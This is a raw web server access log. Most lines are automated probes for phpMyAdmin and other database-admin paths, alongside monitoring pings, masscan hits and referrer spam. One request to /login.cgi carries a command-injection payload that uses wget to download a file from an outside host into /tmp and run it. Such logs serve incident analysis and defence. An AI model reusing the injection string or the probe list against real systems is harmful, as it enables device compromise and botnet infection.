202.79.173.12 - - [28/Feb/2020:23:14:29 +0100] "GET /dbadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:30 +0100] "GET /web/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:30 +0100] "GET /admin/pma/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:30 +0100] "GET /admin/PMA/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:30 +0100] "GET /admin/mysql/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:30 +0100] "GET /admin/mysql2/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:31 +0100] "GET /admin/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:31 +0100] "GET /admin/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:31 +0100] "GET /admin/phpmyadmin2/index.php HTTP/1.1" 404 332 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:31 +0100] "GET /mysqladmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:32 +0100] "GET /mysql-admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:32 +0100] "GET /mysql_admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:32 +0100] "GET /phpadmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:32 +0100] "GET /phpAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:32 +0100] "GET /phpmyadmin0/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:33 +0100] "GET /phpmyadmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:33 +0100] "GET /phpmyadmin2/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:33 +0100] "GET /phpMyAdmin-4.4.0/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:33 +0100] "GET /phpMyAdmin4.8.0/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:33 +0100] "GET /phpMyAdmin4.8.1/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:34 +0100] "GET /phpMyAdmin4.8.2/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:34 +0100] "GET /phpMyAdmin4.8.3/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:34 +0100] "GET /phpMyAdmin4.8.4/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:34 +0100] "GET /phpMyAdmin4.8.5/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:34 +0100] "GET /myadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:35 +0100] "GET /myadmin2/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:35 +0100] "GET /xampp/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:35 +0100] "GET /phpMyadmin_bak/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:35 +0100] "GET /www/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:36 +0100] "GET /tools/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:36 +0100] "GET /phpmyadmin-old/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:36 +0100] "GET /phpMyAdminold/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:36 +0100] "GET /phpMyAdmin.old/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:36 +0100] "GET /pma-old/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [28/Feb/2020:23:14:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
202.79.173.12 - - [28/Feb/2020:23:14:37 +0100] "GET /claroline/phpMyAdmin/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:37 +0100] "GET /typo3/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:37 +0100] "GET /phpma/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:37 +0100] "GET /phpmyadmin/phpmyadmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:37 +0100] "GET /phpMyAdmin/phpMyAdmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:38 +0100] "GET /phpMyAbmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:38 +0100] "GET /phpMyAdmin__/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:38 +0100] "GET /phpMyAdmin+++---/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:38 +0100] "GET /v/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:38 +0100] "GET /phpmyadm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:39 +0100] "GET /phpMyAdm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:39 +0100] "GET /shaAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:39 +0100] "GET /phpMyadmi/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:39 +0100] "GET /phpMyAdmion/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:40 +0100] "GET /s/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:40 +0100] "GET /MyAdmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:40 +0100] "GET /phpMyAdmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:40 +0100] "GET /phpMyAdmin123/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:40 +0100] "GET /pwd/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:41 +0100] "GET /phpMyAdmina/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:41 +0100] "GET /phpMydmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:41 +0100] "GET /phpMyAdmins/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:41 +0100] "GET /phpMyAdmin._/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:41 +0100] "GET /phpMyAdmin._2/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:42 +0100] "GET /phpmyadmin2222/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:42 +0100] "GET /phpMyAdmin333/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:42 +0100] "GET /phpmyadmin3333/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:42 +0100] "GET /php2MyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:42 +0100] "GET /phpiMyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:43 +0100] "GET /phpNyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:43 +0100] "GET /1/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:43 +0100] "GET /download/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:43 +0100] "GET /phpMyAdmin_111/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:44 +0100] "GET /phpmadmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:44 +0100] "GET /321/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:44 +0100] "GET /123131/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:44 +0100] "GET /phpMyAdminn/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:44 +0100] "GET /phpMyAdminhf/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:45 +0100] "GET /sbb/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:45 +0100] "GET /WWW/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:45 +0100] "GET /phpMyAdmln/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:45 +0100] "GET /phpMyAdmin_ai/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:45 +0100] "GET /__phpMyAdmin/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:46 +0100] "GET /program/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:46 +0100] "GET /shopdb/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:46 +0100] "GET /phppma/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:46 +0100] "GET /phpmy/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:46 +0100] "GET /mysql/admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:47 +0100] "GET /mysql/dbadmin/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:47 +0100] "GET /mysql/sqlmanager/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:47 +0100] "GET /mysql/mysqlmanager/index.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:47 +0100] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php HTTP/1.1" 404 364 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:47 +0100] "GET /sqladmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:48 +0100] "GET /sql/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:48 +0100] "GET /SQL/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:48 +0100] "GET /websql/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:49 +0100] "GET /MySQLAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
202.79.173.12 - - [28/Feb/2020:23:14:49 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
212.91.246.72 - - [28/Feb/2020:23:15:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:23:16:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:23:17:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:23:18:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:23:19:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:23:20:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:23:21:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:23:22:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.227.44.185 - - [28/Feb/2020:23:22:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
139.99.141.237 - - [28/Feb/2020:23:23:10 +0100] "GET / HTTP/1.0" 200 1229 "-" "masscan/1.0 (https://github.com/robertdavidgraham/masscan)"
212.91.246.72 - - [28/Feb/2020:23:23:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:23:24:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:23:25:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:23:26:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:23:27:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:23:28:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:23:29:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.9.158.164 - - [28/Feb/2020:23:30:06 +0100] "GET / HTTP/1.0" 200 1229 "https://gosuslugi-lichnyj-cabinet.ru/" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36"
193.9.158.173 - - [28/Feb/2020:23:30:07 +0100] "GET / HTTP/1.0" 200 1229 "https://cabinet-pfrf.ru/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134"
212.91.246.72 - - [28/Feb/2020:23:30:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:23:31:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.99.141.237 - - [28/Feb/2020:23:32:15 +0100] "GET / HTTP/1.0" 200 1229 "-" "masscan/1.0 (https://github.com/robertdavidgraham/masscan)"
212.91.246.72 - - [28/Feb/2020:23:32:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:23:33:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:23:34:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
195.205.161.240 - - [28/Feb/2020:23:35:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:23:35:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:23:36:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:23:37:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:23:38:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:23:39:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:23:40:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:23:41:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:23:42:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:23:43:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:23:44:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:23:45:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:23:46:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:23:47:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:23:48:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:23:49:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
